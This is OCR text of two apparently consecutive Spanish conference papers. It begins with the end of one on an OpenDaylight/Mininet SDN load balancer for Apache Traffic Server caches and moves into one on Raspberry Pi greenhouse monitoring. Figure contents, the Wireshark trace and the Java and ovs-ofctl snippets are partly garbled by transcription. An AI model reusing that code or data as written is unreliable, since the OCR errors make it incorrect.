a una serie de flujos con unas caracteristicas concretas,
apuntarian a la misma tabla de grupo. Las tablas de grupo
contienen los pardmetros como se aprecian en la Tabla II.

Tabla II
PARAMETROS DE LA TABLA DE GRUPOS. [11]

[ Group Identifier [ Group Type | Counters | Action Buckets |

« Identificador de grupo: 32 bits de identificacion.
« Tipo de grupo: Pueden ser de los siguientes tipos:

— All: Ejecuta todos los buckets del grupo.

— Select: Ejecuta solo un bucket del grupo, puede
especificarse la técnica de eleccidon (por ejemplo
Round-robin) o asignar pesos.

— Indirect: Un bucket con una tnica accién a ejecutar.

— Fast failover: Ejecuta el primer bucket vivo.

« Contador: Actualizado cuando se procesan paquetes por
el grupo.

o Buckets de acciones: Cada bucket contiene una serie de
acciones a ejecutar.

C. Contadores

En OpenFlow existen una serie de contadores, por cada
tabla, flujo, puerto, cola, grupo, bucket, métrica y grupo de
métrica. En este proyecto se hard uso de los contadores que
existen por puerto, con ellos se pueden comprobar el nimero
de paquetes transmitidos y recibidos, los errores transmitidos
y recibidos, los bytes transmitidos y recibidos, etc. Estos
contadores dan informacién al controlador, para supervisar
anomalias, o estudiar el comportamiento del trafico en la red
en tiempo real.

V. HERRAMIENTAS

El software mas importante utilizado en este proyecto son
tres:

o Apache Traffic Server (ATS) [13]: Se usard como servi-
dor proxy de cacheo, de forma que el contenido del servi-
dor web de origen se almacenard de forma temporal en
los equipos que implementen este software. ATS permite
mejorar la eficiencia y rendimiento en la red mediante
un cacheo de la informacién frecuentemente accedida.
Suele usarse en los bordes de la red, de esta forma se
consigue acercar el contenido al usuario reduciendo el
uso de ancho de banda total de la red y consiguiendo
una distribucién mas ripida.

e Mininet [14]: Emulara la red SDN. Permite crear redes
virtuales de hosts, switches, controladores y enlaces. Los
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hosts virtuales ejecutan un Linux estdndar, y sus switches
soportan el protocolo OpenFlow. El switch utilizado sera
el Open vSwitch 2.3.90.

o OpenDaylight (ODL) [15]: Ser4 el controlador de la red
SDN. Considerado como uno de los estdndar de facto
de la industria, y con el apoyo de la Linux Founda-
tion [16]. ODL soporta multiples protocolos y plugins
como OpenFlow, BGP o NETCONF. Estos médulos se
vinculan dindmicamente a la capa de abstraccién de
servicios Service Abstraction Layer (SAL), donde se
exponen los servicios, permitiendo a ODL llevar a cabo
el servicio independientemente del protocolo subyacente
usado entre el controlador y los dispositivos de red.
En la Fig. 2 se puede apreciar la estructura general de
OpenDaylight.

Adicionalmente, se ha hecho uso de otras aplicaciones, como
VirtualBox para cargar las imdgenes de las maquinas virtuales,
Wireshark para analizar el contenido de las comunicaciones,
Eclipse Luna para programar la 16gica del controlador en Java
y Apache Maven para la gestién de proyectos.

Network
applications, |
orchestration, |
and services

fiterfaces [ network applications, orchestration, and services.

OpenDaylight APIs (REST)

network service functions | extensions |

Service Abstraction Layer (SAL)

other standard !
OpenFlow protocols (ONF, ETF, ..) | |

Fig. 2. Estructura general de OpenDaylight. [15]

Controller
platform

Southbound
interfaces &

protocols vendo-specific

imerfaces.

Data plane
elements (virtual
switches, physical
device interfaces)

VI. ESCENARIO SDN Y BALANCEADOR DE CARGA
A. Escenario implementado

La topologia disefiada estd compuesta por un total de 4
maquinas virtuales en VirtualBox:

Servidor WEB
192.168.1.6

Traffic Server Cluster

192.168.1.4 192.168.1.5

Fig. 3. Escenario SDN a implementar.

e Mdquina virtual con Mininet y OpenDalylight (color
verde). El switch utilizado en Mininet es compatible
con OpenFlow. El controlador, OpenDaylight, contiene
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el programa con la légica de balanceo de carga, el
cual serd programado en Java. Desde esta aplicacién se
llevaran a cabo peticiones mediante HTTP (mediante el
médulo Restconf) a los puertos del switch para obtener
estadisticas de la red en tiempo real, y realizar mas
eficientemente el balanceo de carga.

« Dos méquinas virtuales con Apache Traffic Server (ATS).
Encargadas de realizar el almacenamiento temporal. Al
recibir las peticiones, en caso de no tener la informacién
en caché, lo consultan al servidor web. Forman un cluster
que mantiene actualizada la informacién entre cachés.

¢ Mdquina virtual con un servidor web. Contiene la infor-
macion a la que se quiere acceder. Implementa Apache
con una pagina web.

B. Balanceador de carga

En la Fig. 4, se aprecia el comportamiento de la red
deseada. A continuacién, se detallan cada uno de los pasos.

1) Se usara una IP Virtual (192.168.1.10) a la que enviardn
las peticiones los usuarios.

2) Al llegar la peticién al switch, se activa la regla que
dirige las peticiones a la IP virtual, hacia la tabla de
grupo de tipo select. La regla introducida en el switch
puede verse en el Anexo IX-Al.

3) La llegada de un paquete al controlador activa una
aplicacién encargada de comprobar los paquetes trans-
mitidos a cada puerto de los equipos ATS (192.168.1.4
y 192.168.1.5), mediante el médulo Restconf de ODL.
Para ello se usa una peticion HTTP de tipo “GET”
(recuperacién del contenido) al switch. Para llevar a
cabo la distribucion de trifico, el controlador asigna
una mayor prioridad a un bucket con una direccién de
envio de uno de los dos equipos con ATS, haciendo
que todas las peticiones vayan hacia ese equipo (en
el Anexo IX-A2 vemos la tabla de grupo tipo select
con una mayor prioridad asignada al puerto 1). Cuando
el nimero de paquetes enviado por ese puerto supera
en un 5 por ciento el nimero de paquetes enviado por
el otro puerto, las prioridades de los dos bucket de la
tabla de grupo del swifch se intercambiardn, mediante
una peticién de tipo “PUT” (actualizacién completa del
contenido), asignando mayor prioridad al otro puerto.
En la Fig. 5 puede verse parte del cddigo desarrollado
en Java para llevar a cabo la peticién “PUT”. En caso
de no superar el umbral, las prioridades de la tabla
no seran modificadas. En la Fig. 6 se puede apreciar
el comportamiento ideal del balanceo de trifico, en
primer lugar se distingue cdmo se sirven los paquetes
por el primer puerto, posteriormente cuando se supera
el umbral se cambian las prioridades y los paquetes son
enviados por el segundo puerto.

4) La peticién es enviada al equipo correspondiente del
bucket elegido de la tabla de grupo.

5) El equipo con Traffic Server sirve la informacién en
caso de tenerla en caché. En caso de no tenerla lo
consulta al servidor web, y posteriormente la guardara
en caché y lo enviard al cliente.

6) El usuario recibe el contenido solicitado.

ATS
19216814

I o
* earning suten -
Restconf mmm

5

IP Virtual

sl
I 1 42188110 El]:
|

7 f—

Usuario 6
192.168.1.1

L J
T

Mininet

[ ]

|

ATS
192.168.15

Open vSwitch

Servidor WEB
192.168.1.6

Fig. 4. Escenario SDN final.

IEELIELEEELEE LRI RE LI LTI EE T ]
// URL = base URL + grupo
URL url = new URL(baseURL + "/" + numeroGrupo);

// Autenticacidn

string authStr = user + ":"
/ /Base64

String encodedAuthStr = Base64.getEncoder().encodeToString(authStr.getBytes());

+ password;

// Conexion Http

HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// Propiedades de conexicdn

connection.setRequestMethod("PUT");
connection.setRequestProperty("Authorization”, "Basic " + encodedAuthStr);
connection. setRequestProperty("Accept", "application/xml");

//Para introducir contenido PUT
connection.setRequestProperty("Content-Type", "application/xml" );
connection.setDoOutput(true);

QutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream());

Fig. 5. Cédigo de la peticion tipo “PUT”, desarrollado en Java.

VII. EVALUACION

A. Escenario principal

Para llevar a cabo la evaluacién del correcto funcionamiento
del escenario, en primer lugar, se hard una peticiéon a la IP
virtual. De esta forma se puede comprobar que se realizan
correctamente las peticiones entre el equipo "Usuario” y uno
de los equipos ATS. Mediante una peticién curl a la direccién
192.168.1.10 (IP Virtual), se puede comprobar que responde
correctamente tal y como muestra la Fig. 7.

Haciendo uso de ODL, con el comando 1og:tail en la
terminal, se puede obtener un log en tiempo real del programa
que implementa la 16gica del balanceador. De forma que se
comprobara el bucket actual utilizado. Como se aprecia en
la Fig. 8, el usado es el nimero 2, es decir, las peticiones
se envian al equipo 192.168.1.5. Inspeccionando los paquetes
con Wireshark, en el equipo 192.168.1.5, se puede apreciar
que las peticiones son llevadas a cabo a este equipo, como se
aprecia en la Fig. 9. Apache Traffic Server, al haber llevado a
cabo el cacheo de la informacién, no necesita que el equipo
192.168.1.5 contacte con el servidor de origen (192.168.1.6)
para servir la informacion.

Cuando el nimero de paquetes enviados al equipo
192.168.1.5 supere en un 5 por ciento el nimero de paquetes
enviados al puerto del equipo 192.168.1.4, se llevaria a cabo el
cambio de prioridad de los bucket haciendo que las peticiones
se envien al equipo 192.168.1.4. En la Fig. 10 se puede visu-
alizar como se lleva a cabo correctamente el funcionamiento
del balanceo de carga, alternando el envio de informacién
entre un puerto y otro, asemejandose al comportamiento ideal
visto en la Fig. 6. Como se ha comentado anteriormente, en
el Anexo IX-A2 puede verse el cédigo para asignar mayor

52



IT / Redes definidas por software
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paquetes
puerto 1

m— N°de
paguetes
puena 2

NO de paquetes totales enviados

Tiempo

Fig. 6. Evolucién ideal del nimero de paquetes.

nt has been added, yet

Fig. 7. Peticién a un proxy.

peso al bucket 1 (puerto de 192.168.1.4).

B. Escenarios alternativos

La versatilidad de las redes SDN permite ajustar otro tipo
de funcionalidades en la aplicacién de balanceo de carga que
se adapten a las necesidades del escenario donde va a usarse.

En el caso de tener un escenario donde uno de los equipos
proxy de ATS tuviera un enlace de menor velocidad (situacién
configurada en el emulador de redes Mininet), se deberia
disminuir el flujo de datos enviado por ese enlace, y destinarlo
al otro equipo.

En este escenario se plantea que el enlace del equipo
192.168.1.5 (puerto 2 del switch) tenga un tercio de la
velocidad que el del equipo 192.168.1.4 (puerto 1). Para no
saturar el enlace, se asigna un peso (weight) de 1 al bucket del
puerto 2, y un peso 3 al del puerto 1, de forma que el puerto
1 tendrd el triple de prioridad (en el Anexo IX-A3 puede
verse el codigo usado). Tal y como se aprecia en la Fig. 11,
efectivamente los paquetes enviados por el puerto 1 triplican
con el paso del tiempo los paquetes enviados por el puerto 2,
evitando que el segundo puerto reciba tantas peticiones como
el 1.

Otro caso podria ser tener equipos y enlaces con similares
caracteristicas, por lo que el envio de datos puede ser llevado
simultdneamente con la misma carga de paquetes por ambos.
En este caso se plantea el uso de los mismos pesos con ambos
buckets (en el Anexo IX-A4 se muestra el cédigo de la tabla de
grupo). Como se aprecia en la Fig. 12, el nimero de paquetes
aumenta de forma simultineamente por ambos enlaces.

VIII. CONCLUSIONES

Tras la realizacién de este proyecto se ha podido comprobar
la viabilidad de llevar a cabo distribucién de contenidos en
una red haciendo uso de la tecnologia SDN. Ademds, se ha
visto que tener una visién global de la red aporta una gran
versatilidad para llevar a cabo la gestién de la red, teniendo
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viedawnnr el puerto 1:

teawpadletes (pl/p2): 1.0

Fig. 8. Bucket actual en uso.

83/1.574920 192.168.1.5 192.168.1.4 cP 66/d-s-n > 38579 |ACK|
84 1.576831 192.168.1.1 192.168.1.5 TCP 74 38756 > http [SYN]
5 1.576867 192.168.1.5 192.168.1.1 TCP 74 http > 38756 [SYN,
6 1.577291 192.168.1.1 192.168.1.5 TCP 66 38756 > http [ACK]
87 1.577508 192.168.1.1 192.168.1.5 HTTP 141 GET / HTTP/1.1

1.5 1.1 [

T e 1A

88 1.577519 192.168.1.

on1 =77007 181 180

192.168.

105 120

TCP 66 http > 38756 [ACK]

Trn 1708 4 ~ n ~ 20570 Tneu

Fig. 9. Traza Wireshark de la peticion.

asi una gran facilidad en la implementaciéon de mecanismos
que permitan realizar una distribucién del contenido de una
forma més eficiente.

El uso de tecnologia SDN aporta una serie de ventajas con
respecto a la tecnologia tradicional. Entre las mds destacables
se encuentran:

o Facilidad de emulacién y exportacién en un escenario
real.

o Gran cantidad de software gratuito, como el emulador
Mininet o el controlador OpenDaylight.

« Gran presencia en el dmbito académico y empresarial.

o Tecnologia estandarizada, sin necesidad de recurrir a
sistemas propietarios.

« Uso de lenguajes de gran aceptaciéon como Java o Python.
Facilitando su uso.

Sin embargo, los escenarios planteados, también cuenta con
una serie de desventajas, al tratarse de una tecnologia adn en
estado de madurez.

A. Lineas futuras

« Es posible portar la 16gica del controlador a una red SDN
existente con relativamente pocas modificaciones en el
codigo, dada la portabilidad que ofrece OpenDaylight.

e Se abre la posibilidad de utilizar un mayor nimero
de pardmetros de la red para adaptar el proceso de
balanceo ante otras situaciones. Estos pardmetros podrian
ser nimero de errores en un puerto, nimero de paquetes
descartados, disponibilidad del enlace, etc.

IX. ANEXOS

A. Cddigo de Mininet de tablas de grupo

1) Redireccion a la tabla de grupo: sudo ovs-ofctl
——protocols=0OpenFlowl3 add-flow sl
ip,nw dst=192.168.1.10, priority=32769,
actions=group:1

2) Tabla tipo (puerto 1
prioridad): ovs—-ofctl —--protocols=OpenFlowl3
add-group sl group_id=1, type=select,
bucket=weight:100, mod_dl_dst:
08:00:27:82:87:4B, mod_nw_dst:
192.168.1.4, output:1l, bucket=weight:
1,mod_dl _dst: 08:00:27:04:DF:46,
mod_nw_dst:192.168.1.5,output:2

select mucha  mds
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Fig. 10. Evolucion real del nimero de paquetes.
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Fig. 11. Evolucién del nimero de paquetes con un enlace (puerto 2) de
menor capacidad.

3) Tabla tipo select (puerto 1 mayor prioridad):
ovs—ofctl —--protocols=0OpenFlowl3
add-group sl group_id=1l, type=select,
bucket=weight:3,mod_dl_dst:
08:00:27:82:87:4B, mod_nw_dst:192.168.1.4,
output:1, bucket=weight:1,
mod_dl_dst: 08:00:27:7D:8B:1F,
mod_nw_dst:192.168.1.5,output:2

4) Tabla tipo select (misma  prioridad):
ovs—ofctl —-protocols=OpenFlowl3
add-group sl group_id=1l, type=select,
bucket=mod_dl_dst: 08:00:27:82:87:4B,
mod_nw_dst: 192.168.1.4, output:
1,bucket=mod_dl_dst: 08:00:27:04:DF:4¢6,
mod_nw_dst: 192.168.1.5,output:2
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Resumen—En la actualidad, existe un problema comin rela-
cionado con el cultivo bajo plastico. Cuando hace viento aumenta
o disminuye la temperatura y/o la humedad rapidamente. Esto
conlleva tener que modificar la ventilacion del invernadero para
que los cambios bruscos no daiien los cultivos. Debido a ello el
agricultor, si no esta en la finca, debe desplazarse continuamente
para comprobar el estado de la misma.

En este proyecto se desarrolla un sistema de monitorizacion
en tiempo real de un invernadero que mantiene informado en
todo momento al agricultor ante cualquier variacion del clima,
sin tener que desplazarse a la zona de invernaderos, a través de
su smartphone. Se ha implementado un nodo capaz de recoger
datos de sensores y enviarlos a un servidor. El servidor recoge los
datos y los expone en una base de datos. Finalmente, los datos
se mostraran a través de la web y de una aplicaciéon mévil.

Palabras clave—monitorizacion de invernadero, raspberry,
django, base de datos time series prometheus, python, MySQL,
Firebase, NVD3, MPAndroidChart.

I. INTRODUCCION Y MOTIVACION

El mercado al que va dirigido este proyecto es el sector
hortofruticola de cultivo de invernadero. En los ultimos afios,
la superficie ha ido en aumento, llegando a crecer un 10.5%
conforme al articulo publicado por el periédico Europa Press
[1]. En dicho articulo el delegado territorial de Agricultura,
Pesca y Medio Ambiente José Manuel Ortiz justifica dicho
aumento debido a que los productores tienen que incrementar
sus parcelas de invernadero para garantizar un beneficio.

Desde hace afios se estdn registrando variaciones de tem-
peratura cada vez mds extremas, debido entre otros factores
al cambio climatico, desembocando en cultivos debilitados y
expuestos a padecer un mayor nimero de plagas que provocan
una merma de la produccién. Todo esto desencadena una serie
de costes, una disminucién del beneficio, y por consiguiente,
un descenso considerable de la rentabilidad.

Con un sistema de monitorizacién en tiempo real del
invernadero se puede controlar mds superficie con menos
esfuerzo.

Este trabajo describe el desarrollo de un sistema para
monitorizar el clima interno y externo del invernadero cuyo
objetivo es mantener informado en todo momento al agricul-
tor. Dicho sistema ahorra el desplazamiento del agricultor al
invernadero y lo ayuda a controlar el clima interno del mismo.

En el invernadero, estara instalado un sistema con sensores
capaz de recoger datos climdticos internos y externos del
mismo. La informacién recogida se va a enviar a un servidor
que estard siempre activo. El servidor, es capaz de recibir
datos de varios sistemas de monitorizacién, organizarlos,

interpretarlos y de prepararlos para la web y el smartphone. El
cliente a través de la aplicacion mévil o web, puede estar en
todo momento informado de los cambios climatolégicos que
se produzcan. En definitiva, el sistema consta de un servidor
de monitorizacién remota, una plataforma hardware para la
monitorizacién y una aplicacién moévil para acceder a los
datos del servidor.

El principal propdsito es tener vigilado el invernadero sin
el desplazamiento continuo del agricultor, asi como evitarle
el coste econémico que conlleva la merma en la produccién
debido a las variaciones bruscas del clima en el invernadero.

II. REVISION DEL ESTADO DEL ARTE

En el mercado existen productos similares al que se
ha desarrollado en este documento. Sin embargo, como se
describird a continuacién, no implementan algunas de las
funciones requeridas en el proyecto, o resultan demasiado
COSt0sos.

Por un lado, nos encontramos las estaciones meteo-
rolégicas (Estacion meteoroldgica HP 1000 de la empresa Me-
teoStart[2], Oregon Scientific LW301[3]....) estan preparadas
para mostrar la temperatura, humedad, etc. del ambiente. Sin
embargo, no estdn preparadas para funcionar en un ambiente
extremo como el de un invernadero. Por otro lado, existen
otro tipo de sistemas de monitorizacién agricola: CERES
y Nutricontrol. El primero, estd orientado al control del
suelo [4]. Nutricontrol es un sistema que controla el clima
y automatiza la ventilacién y la calefaccién del invernadero
[5].

El sistema que se desarrollard en este trabajo integrard las
funcionalidades mds destacables de los productos descritos,
y abordard las deficiencias identificadas. Concretamente, el
sistema recoge los datos climdticos internos y externos del
invernadero a través de los sensores, puede instalar un mayor
nimero de sensores, proporciona los datos sin necesidad de
desplazamiento, permite una conexién Wifi, 3G y Ethernet,
y ademads, consta de una aplicaciéon mévil que en el caso de
una variacién brusca del clima notifica al agricultor a través
de una alarma.

III. TECNOLOGIAS USADAS

Para cada una de las partes que consta el sistema se han
usado las siguientes tecnologias:
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A. Nodo con sensores

Para la implementacion del nodo con sensores se ha usado
una Raspberry Pi 2 Modelo B [6], porque es de pequefias
dimensiones, permite la conexién de multitud de sensores,
posibilita la conexién a Internet gracias a que es compatible
con casi cualquier médem USB 3G [7] o cualquier Wifi USB
[8], consta con un procesador quad-core a 900MHz y 1GB
de memoria RAM. Ademads, permite iniciar linux, instalar una
base de datos y montar un pequeflo servidor.

B. Bases de datos

Tras realizar un andlisis previo de los requisitos del sistema,
se identifican varias bases de datos con diferentes requisitos,
los mismos dependen de los datos que deben de almacenar.
Concretamente, una base de datos que almacene los datos de
los sensores de cada nodo, una base de datos que reuna los
datos de los sensores de un nodo, para evitar que se pierdan
antes de enviarlos al servidor y otra base de datos para guardar
los datos de todos los usuarios, fincas, nodos, alarmas, tipos
de sensores y sensores.

1) Almacenamiento de los datos de sensores de cada nodo:
Para almacenar en el servidor los datos de los sensores de cada
nodo, se puede usar cualquier tipo de base de datos, SQL, No
SQL, Time Series... Pero, la mas adecuada para recoger series
de tiempo son las bases de datos “Time Series” [9] que estan
preparadas y optimizadas para desempefiar dicha labor. Por
este motivo, se descarta usar bases de datos SQL.

Dentro del grupo de las bases de datos de series temporales,
se ha escogido Prometheus DB[10], porque es una base de
datos de series de tiempo con licencia de software libre
Apache 2 [11], tiene una biblioteca bastante amplia que
permite un manejo sencillo de la aplicacién usando lenguajes
de programacion como Java, Rubi, Go o Python [12]; es escal-
able y permite almacenar datos usando etiquetas y almacena
los datos de una forma eficiente. Ademas de lo descrito, su
instalacion es muy sencilla, ya que no necesita de bases de
datos externas, permite notificaciones en tiempo real, dispone
de una API que facilita las consultas, su configuracién es
simple y se pueden enviar muestras de las medidas facilmente
usando los lenguajes de programaciéon Java, Rubi, Go o
Python. La base de datos Prometheus utiliza el método PUSH
para recoger los datos y ademds ofrece la posibilidad de usar
un servidor de Push Gateway que permite la exposicion de
los datos para que este los recoja.

2) Almacenar datos de sensores dentro del nodo: Para
prevenir que se pierdan datos, si el servidor o la red no se
encuentra disponible en algiin momento, se almacenan los
datos de los sensores en el nodo antes de que se envien al
servidor. Para dicho almacenamiento de datos, se ha decidido
optar por la base de datos SQLite [13] que es un sistema de
gestion de base de datos muy liviano, escrito en el lenguaje C.
Tiene una licencia de dominio publico [14]. Estd disefiada para
funcionar en dispositivos y aplicaciones individuales [15]. Por
tanto, se ha preparado para funcionar bien en dispositivos
empotrados como televisores y/o cdmaras, bases de datos
internas temporales,... Ademds es muy poco pesada (la libreria
ocupa menos de 500kB [16]), no necesita configuracién y
no necesita de un administrador de bases de datos para
mantenerla, lo cual es ideal para usarla en el nodo.

3) Almacenar datos de usuarios e informacion monitor-
izada: Para guardar el resto de datos del sistema (usuarios,
fincas, nodos, sensores, tipos de sensores, alarmas,...), se
utiliza una base de datos relacional SQL, ya que se adapta
mejor al modelo de las relaciones entre los datos que se
almacenan en el sistema.

En este sistema se utiliza MySQL [17][18], porque es un
sistema de base de datos con un gran soporte técnico y esta
muy bien documentada con ejemplos y tutoriales. También
dispone de una alta compatibilidad con Django que hace que
su uso sea muy sencillo y su instalacién simple.

4) Lenguajes de programacion: El lenguaje de progra-
macidn elegido de entre los innumerables disponibles, ha sido
Python [19], porque permite el manejo y control del nodo y
el uso de un Framework de desarrollo 4gil y rdpido de la
aplicacion web. Ademds es fécil de aprender, dispone de una
gran cantidad de librerias que facilitan las tareas y ofrece una
amplia compatibilidad con los sensores usados.

5) Framework de desarrollo web: Para el desarrollo de
la web que muestre los datos de los sensores y permita
administrar el sistema, se ha usado el framework de desarrollo
Django [20]. Django es un framework de desarrollo web de
c6digo abierto que fomenta el desarrollo rapido y limpio. Es
compatible con la mayoria de las bases de datos. Ayuda al
programador con los problemas de seguridad, es muy escal-
able y sigue el patrén de disefio de Modelo Vista Controlador
(MVC) [21]. También se configura de una forma simple, es
facil de aprender y tiene una comunidad bastante grande [22]
que esta dispuesta a ayudar.

6) Aplicacion movil del cliente: Se ha elegido el sistema
operativo Android por ser el mds desplegado, es decir, An-
droid posee una cuota de distribucion de teléfonos inteligentes
del 81.5% en 2014 segin datos difundidos por la consultora
IDC [23].

Para el desarrollo de dicha aplicacién, se usa Android
nativo [24] con el lenguaje de programaciéon Java porque
dispone de muchas opciones y herramientas para el desarrollo
de la aplicacion. “Developer Android” ofrece ademds una
documentacién muy avanzada y una usabilidad sencilla [25].

7) Aplicacion web: Para la estructuraciéon y el estilo de
las vistas de la aplicacion web, se usan las tecnologias de
HTML y CSS. HTML [26] es un lenguaje de marcas de
hipertexto que se usa para definir la estructura de cada pagina.
Una de las ventajas destacables de HTML es que la pagina
web contiene sélo texto, es el navegador el encargado de
interpretar dicho texto y de unir todos los elementos para la
correcta visualizacién de la pagina. Ademds dicho lenguaje,
estd compuesto por hipervinculos que nos dan la posibilidad
de movernos entre paginas. CSS es un lenguaje que se
utiliza para dar el correcto formato a los elementos de un
documento HTML, describiendo al navegador como se deben
de visualizar los elementos de dicha pagina.

8) Grdficas del cliente web: Para la generacién de las
graficas con los datos de los sensores en la aplicacién web, se
usa la libreria NVD3 [27], ya que es una libreria que permite
la generacion de grandes graficos de una forma sencilla, tiene
una documentacién muy buena en la que se ofrecen muchos
ejemplos que facilitan la creaciéon de cualquier grafico, fun-
ciona con la mayoria de navegadores, es de codigo abierto y
tiene una licencia Apache V2.
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9) Grdficas del cliente de Android: Para generar las
gréficas con los datos de los sensores en la aplicacion cliente
para Android, se ha optado por usar la libreria MPAndroid-
Chart [28], que es facilmente instalable, su uso es sencillo,
estd muy actualizada y tiene buena documentacion.

10) Notificaciones PUSH: Las notificaciones PUSH [29]
son la manera que tienen los servidores de comunicarse
con las aplicaciones moviles, es decir, son mensajes que los
servidores pueden enviar a las aplicaciones y estas a su vez,
avisar al usuario en forma de alerta sonora, vibracidn, etc...

Para este sistema se ha optado por usar Firebase [30][31],
que son un conjunto de herramientas ofrecidas por Google,
siendo una de ellas el envio de mensajes a aplicaciones. Su
documentacion es bastante extensa y dispone de muchos ejem-
plos de uso del servicio. Ademds permite un uso gratuito hasta
los 100 usuarios concurrentes [32] y tiene una compatibilidad
con aplicaciones Android, IOS y Web.

11) Control de versiones: Para el desarrollo del codigo
se ha optado por usar software de control de versiones [33],
que ayuda a retroceder a un estado anterior en caso de error,
programar por partes (en varias ramas) para evitar que afecten
cambios de una parte a otra. Como software de control de
versiones se ha usado Git [34] porque permite el uso de
ramas locales. Tiene una licencia MIT de software libre.
[35] Posibilita el cambio de contexto sin problemas, dando
la facilidad de corregir o probar una tarea en una rama
distinta a la de produccién y unirla a esta si todas las pruebas
son correctas. La utilizacién de varias ramas se puede usar
para separar varias tareas e ir desarrollindolas de una forma
independiente y evitando asi que el software de produccién
falle. Ademas, si no se necesita una rama, se puede eliminar
de forma fécil y segura. Admite multiusuario, cada usuario
tendrd una copia local del repositorio pudiendo trabajar cada
uno de ellos de forma separada y unir su trabajo al del resto en
cualquier momento. Asimismo, existen repositorios remotos
de Git como github o bitbucket que permiten tener una copia
del cédigo online de una forma gratuita, tener una copia de
cddigo en varios repositorios online garantiza una copia de
seguridad.

12) Servidor Web Server Gateway Interface (WSGI): Para
poner una aplicaciéon Django en produccion, se necesita de
un servidor compatible con WSGI [36]. En este sistema se va
a usar NGINX porque es un servidor HTTP compatible con
WSGI, es poco pesado, su instalacién es muy sencilla y no
necesita de muchos recursos para funcionar.

IV. DESCRIPCION GENERAL DEL PROYECTO

El sistema va a estar compuesto por un nodo, un servidor,
una pagina web y una aplicacion mdvil. El nodo estard
instalado en el invernadero y se encargard de recoger datos
de sus sensores. El servidor se encargada de recibir los datos
del nodo, procesarlos y almacenarlos. Por ultimo, la pigina
web y la aplicacion mdvil mostraran los datos al cliente.

En los siguientes subsecciones se hablard sobre las fun-
cionalidades de cada parte del proyecto.

A. Funcionalidades del nodo

Cada nodo tiene un id identificativo tinico. La primera vez
que se encienda el nodo, se autoconfigurard. Para realizar
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Fig. 1. Esquema general del sistema.

dicha configuracién realizard una peticion al servidor usando
su id de nodo. Una vez configurado, se dedicard a capturar
datos de cada sensor, procesarlos a un formato correcto y
almacenarlos en su base de datos local. Finalmente, enviara
los datos al servidor cada cierto tiempo.

B. Funcionalidades del servidor

El servidor se va a encargar de estar pendiente de las
peticiones de los nodos, usuarios y base de datos Time Series
“Prometheus”, dando respuesta a cada peticion.

En general, el servidor generard y enviard la configuracion
de los sensores de cada nodo, procesard y asociara los datos
de los sensores que le envie cada nodo. Cuando reciba datos
de los nodos, los comprobard y avisard a los usuarios en caso
de que se produzca alguna alarma. Igualmente, va a funcionar
de Push Gateway. También devolverd un listado con todas las
fincas de un determinado usuario, todos los nodos de una
determinada finca y todos los sensores; y su medida actual
de un determinado nodo. Ademads, devolvera los datos en
tiempo real y de tltima hora de un sensor asociado a un nodo,
asociard y actualizard un token de usuario a cada usuario que
use la aplicacion mévil, devolverd un listado con el historial
de alarmas de un determinado usuario y controlara cuando un
determinado usuario haya visto o no una alarma, para enviarle
mds alertas.

C. Funcionalidades de la aplicacion web

La aplicaciéon web, se va a encargar de preparar una vista
con la que mostrar a los usuarios todos los datos de cada
finca, nodo y sensores. Ademds permitird controlar de una
forma intuitiva las fincas, nodos, usuarios, sensores, tipos de
sensores y alarmas del sistema.

En concreto, la aplicaciéon web va a autenticar y desaut-
enticar a un usuario, podrd listar, mostrar, registrar, editar
y eliminar usuarios en el sistema y fincas asociadas a uno
0 varios usuarios. Estos usuarios a su vez podran realizar
determinadas acciones sobre el sistema. La aplicaciéon web
serd capaz de definir, mostrar, modificar y eliminar nodos
asociados a una determinada finca, a los tipos de sensores
y a los sensores asociados a un tipo de sensor. Ademds
podrd almacenar, mostrar, editar, listar y eliminar alarmas
asociadas a un nodo y a un sensor y preparard una vista con
las mediciones de cada nodo, mostrando en dicha vista los
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datos de cada sensor, generando gréficas en tiempo real de
la medicién de datos de dltima hora y datos de sensores en
tiempo real.

D. Funcionalidades de la aplicacion movil

La aplicacién mévil se va a encargar de tener una vista
sencilla de todos los datos en tiempo real de los sensores
asociados a un nodo de una finca. Alertard al usuario cuando
algtin sensor de un determinado nodo supere algin umbral
preestablecido.

En detalle, la aplicaciéon deberd autenticar a un usuario,
pidiéndole su usuario y contrasefla y de enviarla al servidor
para comprobar si existe dicho usuario y si esa es su con-
trasefia; y mostrard un listado de fincas y nodos asociados a
ese usuario, ofrecerd un listado con los sensores activos en
un determinado nodo y su valor asociado. También generara
gréficas asociadas a un sensor y mostrara los datos en tiempo
real de este, notificard al usuario cuando se produzca una
alarma o se restablezca la misma, expondrd un listado con las
dltimas alarmas y controlard cuando un usuario haya visto o
no las dltimas alarmas.

V. PLANIFICACION Y ESTIMACION DE COSTES

El trabajo requiere de una planificacién previa debido a la
cantidad y variabilidad de actividades necesarias para desar-
rollarlo con éxito. El desarrollo del sistema se ha dividido
en varias fases y tareas, con la intencién de marcar pequefias
metas que desemboquen en la consecucion del objetivo final.

El software utilizado para la planificacién temporal de dicho
proyecto es GanttProject Team [37].

En la planificacién temporal se han diferenciado dos
grandes fases. Una primera fase en la que se ha anal-
izado el problema y estudiado y comprobado las tecnologias
disponibles, verificando si el conjunto de todas ellas eran
compatibles para llegar a la solucién adecuada del problema.
La segunda, ha consistido en evolucionar todo lo estudiado
en la fase anterior y verificar que el sistema es funcional.

-
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Fig. 2. Diagrama de Gantt estimado con las diferentes fases y actividades
del desarrollo del sistema.

La planificaciéon temporal estimada, no se ha podido
cumplir debido a que los periodos de tiempo de muchas de las
actividades han variado. Las actividades de la primera fase se
han llevado a cabo en un tiempo inferior al estimado, mientras
que para las de la segunda fase se han alargado bastante. Las
tareas de verificaciéon han aumentado considerablemente su
tiempo, porque han aparecido mds errores de los esperados.

Junto a la planificacion temporal, se ha elaborado un pre-
supuesto estimado para agrupar los costes que lleva consigo
el desarrollo del sistema.

Las partidas de gasto se han calculado, por un lado, en base
a las horas de trabajo y al precio por hora, en concreto, cuatro
horas diarias a un coste de 20 euros por hora. Por otro lado,
al coste de cada pieza y herramienta utilizada.

El presupuesto real, ha sido ligeramente inferior al estimado
inicialmente. En el presupuesto estimado, las actividades
relacionadas con el desarrollo del software han soportado un
gasto inferior al del presupuesto real, debido a que se estimd
un menor nimero de dias empleados en dichas actividades.
Sin embargo, en las actividades “Construccién de prototipo”
y “Pruebas de funcionamiento” los gastos reales han sido
menores, pues se ha dedicado menos tiempo de lo estimado.

Otro de los factores a destacar que ha producido un decre-
mento del precio del presupuesto final, ha sido el ahorro de
algunos de los componentes del sistema. No se ha comprado
